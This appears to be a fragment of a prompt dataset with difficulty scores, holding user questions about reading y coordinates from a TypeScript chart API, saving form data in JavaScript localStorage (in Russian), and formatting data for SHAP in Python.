export interface Coordinate { x: number; y: number; } Chart.convertToPixel: ((points: Partial<Point> | Partial<Point>[], finder: ConvertFinder) => Partial<Coordinate> | Partial<Coordinate>[]) | undefined const priceCoordinates = chart?.current?.convertToPixel(overlay.points, paneId.current); console.log(priceCoordinates); как достать y
614724f22dd2bec988ff43e796707d74
{ "intermediate": 0.35255464911460876, "beginner": 0.3840009570121765, "expert": 0.2634444534778595 }
15,268
hi
f7aa9d402411aa31ac3c165e7532de03
{ "intermediate": 0.3246487081050873, "beginner": 0.27135494351387024, "expert": 0.40399640798568726 }
15,269
document.getElementById("saveButton").onclick = function() { var name = document.getElementById("name").value; var age = document.getElementById("age").value; var city = document.getElementById("city").value; var company = document.getElementById("company").value; var email = document.getElementById("email").value; var tel = document.getElementById("tel").value; var comment = document.getElementById("comment").value; if (name === "" age === "" city === "" company === "" email === "" tel === "" comment === "") { alert("Пожалуйста, заполните все поля."); } else { alert("Данные успешно сохранены"); var savedData = { "ФИО": name, "Возраст": age, "Город": city, "Компания": company, "Электронная почта": email, "Телефон": tel, "Описание компетенций и опыта": comment }; localStorage.setItem("savedData", JSON.stringify(savedData)); } return false; }; переделай код на js, чтобы введенные данные сохранялись, но при выходе из страницы стрались, но при обновлении оставь
77fe2d7a16110ca3f61e0faa19544099
{ "intermediate": 0.3112623393535614, "beginner": 0.4019235372543335, "expert": 0.2868140637874603 }
15,270
how should be the data format for a SHAP test in python
132347d2f3ec52eda045a68a7f1f7c3a
{ "intermediate": 0.4412778615951538, "beginner": 0.11575040966272354, "expert": 0.44297176599502563 }